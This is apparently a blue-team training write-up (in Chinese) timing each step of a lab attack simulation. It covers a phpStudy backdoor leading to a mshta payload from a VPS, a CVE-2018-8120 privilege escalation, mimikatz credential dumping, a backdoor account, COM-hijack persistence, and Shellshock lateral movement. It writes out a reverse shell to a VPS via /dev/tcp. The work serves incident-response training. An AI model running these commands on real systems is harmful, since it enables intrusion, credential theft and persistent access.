【应急能力提升3】内网横向移动攻击模拟(上)

2022-08-31 10:45:12 浏览数 (1)

本文为整个专题的第三篇,进入了攻击模拟的第II期。在本次攻击模拟中,引入了同一网段中的两台主机(Windows,以下简称W;Ubuntu,以下简称L),分别被两个攻击者攻击后,也导致对方遭受攻击。

为了方便后续的总结与复盘工作,给应急人员提供一份“参考答案”,详细的记录了每个攻击模拟动作的时间点和细节。但发现内容太多,故拆分为两个部分(上:W -> L;下:L -> W),本文为上部分的记述。

该部分主要由内部蓝军完成,攻击链路设计是 @exploitworld 负责,攻击模拟和报告编写由 @可达鸭 和 @番茄 负责,感谢为本篇文章提供素材。

01

攻击模拟说明

攻击模拟并非实战渗透,但又贴近于实战。真实的产生了攻击痕迹(日志),但为了让应急人员聚焦这部分日志,减少了其他操作。与真实情况相比,主要有两点区别:

  • 部分攻击步骤看起来没必要或者冗余,比如在获取webshell方法中,就充分利用了环境存在的漏洞,制定了两个思路拿权限,实则是在为应急响应人员提供更加丰富的分析场景;
  • 攻击动作非常明确、手法干净利落,攻击的实施完全按照剧本进行,没有带来额外的、无目的漏洞测试和利用,所以又有点偏离实战。

整个攻击模拟专项,主要分为以下五个步骤:

02

攻击链设计

在第I期的基础上,引入了供应链软件攻击、内网横向攻击,同时加入两台不同操作系统的服务器进行双向攻击,让模拟更贴近实战、让应急响应场景更加复杂。

2.1 难度级别

一般

2.2 攻击链路

复杂

2.3 攻击描述

攻击者拿下W机器后,在C段进行信息收集,发现同网段有一台存活的L主机。针对该主机进行扫描,探测到其存在shellshock漏洞,通过利用该漏洞从而拿到L主机权限。

03

资源准备

1台Windows2008 x64 R2(无补丁版本);

1台Ubuntu 16.04(Linux kernel 2.6.22<3.9,bash 4.3),与“W”处于同一个C段;

2台公网VPS。

04

攻击靶场搭建

漏洞环境分为两部分:

  • W环境漏洞:该靶场环境使用了存在后门漏洞(RCE)的phpstudy作为基础环境从而被攻击,Windows系统本身存在CVE-2018-8120漏洞导致被提权,以至于最后被建立了Windows隧道。
  • L环境漏洞:该环境上运行的环境FineCMS V5.6存在文件上传漏洞,攻击者直接利用该漏洞获取webshell,继续攻击进行shell反弹连接、本地脏牛漏洞提权,植入挖矿文件。

操作系统版本

Web后端语言

DB版本

CMS版本

其他环境

Windows2008 x64 R2(无补丁版本)

PHP 5.2.17

MySQL 5.6

phpcms V9.6

1)Phpstudy2016/2018供应链后门版本2)HFS Rejetto 2.x版本3)3389端口默认关闭

Ubuntu 16.04(Linux kernel 2.6.22<3.9)

PHP 5.6

MySQL 5.6

FineCMS V5.0.6

1)GNU Bash 4.32)Apache 2.2.21

05

攻击模拟矩阵与能力图谱

后续内容较细较多,于是进行稍加总结做成一个简易的矩阵。同时想要表达出红蓝对所需的能力,因此在最后两列也稍加提炼。

06

实施攻击模拟

6.1 边界突破

6.1.1 端口扫描

2021-10-28 15:16,使用TxPortMap对W进行端口扫描,发现开放80和3306端口

6.1.2 目录扫描

15:21,使用dirsearch对W进行文件目录扫描,发现phpinfo.php等页面

6.1.3 敏感信息分析

15:23,访问phpinfo.php发现使用了phpstudy及PHP的版本信息

6.1.4 phpstudy后门漏洞测试

15:28,尝试利用phpstudy后门漏洞,抓包phpinfo.php并加载payload(system(‘whoami’);)测试成功

6.1.5 利用phpstudy后门漏洞上线CS

15:31,加载hta后门payload进行cs上线

system('mshta http://vps:8080/seesee');base64编码:c3lzdGVtKCdtc2h0YSBodHRwOi8vdnBzOjgwODAvc2Vlc2VlJyk7

6.1.6 上传PHP大马并查看系统信息

15:34,通过CS上传PHP大马set_checksum.php,并查看系统用户及域环境。E:phpStudyPHPTutorialWWWphpcmsinstall_packageapiset_checksum.php

15:34~15:39,访问http://W//phpcms/install_package/api/set_checksum.php,执⾏命令 net user、net config server和net config workstation ->得出结论:⽆域环境

6.2 权限提升

6.2.1 CVE-2018-8120本地提权

16:13,通过CS将CVE-2018-8120本地提权工具上传到W的C:WindowsTempCrashpadreports.C__V__E-2-0-1-8-8-1-2-0.exe

16:14,执行exp进行提权成功,执行whoami返回system权限

16:17,利用漏洞执行命令上线system权限的shell

C:WindowsTempCrashpadreports.C__V__E-2-0-1-8-8-1-2-0.exe "mshta http://vps:8080/seesee"

6.2.2 迁移进程至svhost伪装

16:19,将system权限进程迁移到svhost进程进行伪装

6.3 权限维持

6.3.1 获取凭据

16:21,利⽤cs的mimikatz抓取明⽂密码

shell mimikatz sekurlsa::logonpasswords

6.3.2 添加后门账号

16:23,添加后门账号DefaultAccount

net user "DefaultAccount" "password9ijn" /add

6.3.3 远程桌面登录

17:31,通过修改注册表开启远程桌面登录

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

6.3.4 COM组件劫持

利⽤{42aedc87-2188-41fd-b9a3-0c966feabec1}组件,explorer触发(需第⼀次打开才可触发)。准备好⼀个弹cmd的dll(根据不同架构,此处为x64),名字修改为 api-ms-win-downlevel-1x64-l1-1-0.dll

17:36,新建⽂件夹,将dll放在新建的C:ProgramDataPackage Cache{BCDE0395-E52F-467C-8E3DC4579291692E}⽬录

17:39,修改注册表,添加项HKEY_CURRENT_USERSoftwareClassesCLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}InProcServer32,添加/修改数据:

C:ProgramDataPackage Cache{BCDE0395-E52F-467C-8E3DC4579291692E}api-ms-win-downlevel-1x86-l1-1-0.dllThreadingModel:Apartment

17:41,测试com劫持弹出cmd

6.4 隐蔽隧道

6.4.1 远程端口转发

17:48,将W的3389端口转发到W的53端口进行隐藏:

netsh interface portproxy add v4tov4 listenport=53 listenaddress=W connectport=3389 connectaddress=W

17:49,测试端口转发成功

6.4.2 上传宏样本

18:02,上传名为“上传环境搭建.xlsm“的文件到C:UsersAdministratorDocuments,留下样本痕迹。

6.5 横向移动

6.5.1 内网主机探测

查看地址解析情况arp –a,发现C段存活主机

6.5.2 端口与目录扫描

18:05,上传扫描⼯具 TxPortMap_windows_amd64.exe 到 C:UsersAdministratorAppDataLocalGoogleSoftware Reporter ToolreportsTxPortMap_windows_amd64.exe

18:10, 对其中一台L进行扫描,发现开启了web端口

18:12,目录枚举发现cgi-bin目录和status文件

6.5.3 Shellshock漏洞利用获取bash shell

18:15,访问/cgi-bin/status目录存在,尝试进行shellshock漏洞检测

curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://L:8080/cgibin/status

18:20,通过利用bash漏洞反弹shell到VPS的80端口,并在VPS开启nc进行监听

curl -A '() { :; };echo; /bin/bash -i >& /dev/tcp/VPS/80 0>&1' http://L:8080/cgi-bin/status

6.5.4 本机信息收集

18:12,查看命令执行历史记录

18:31,查找用户有写权限的可执行文件并输出

find / -perm –u=s –type f 2>/dev/null

07

环境备份

攻击完成之后,不再做其他的操作,立马对环境创建快照,以免过多操作给应急人员带来太多干扰。

但在本期中,需要将L -> W的部分完成之后再备份环境。在实际操作中,两个方向的攻击模拟同时进行。

0 人点赞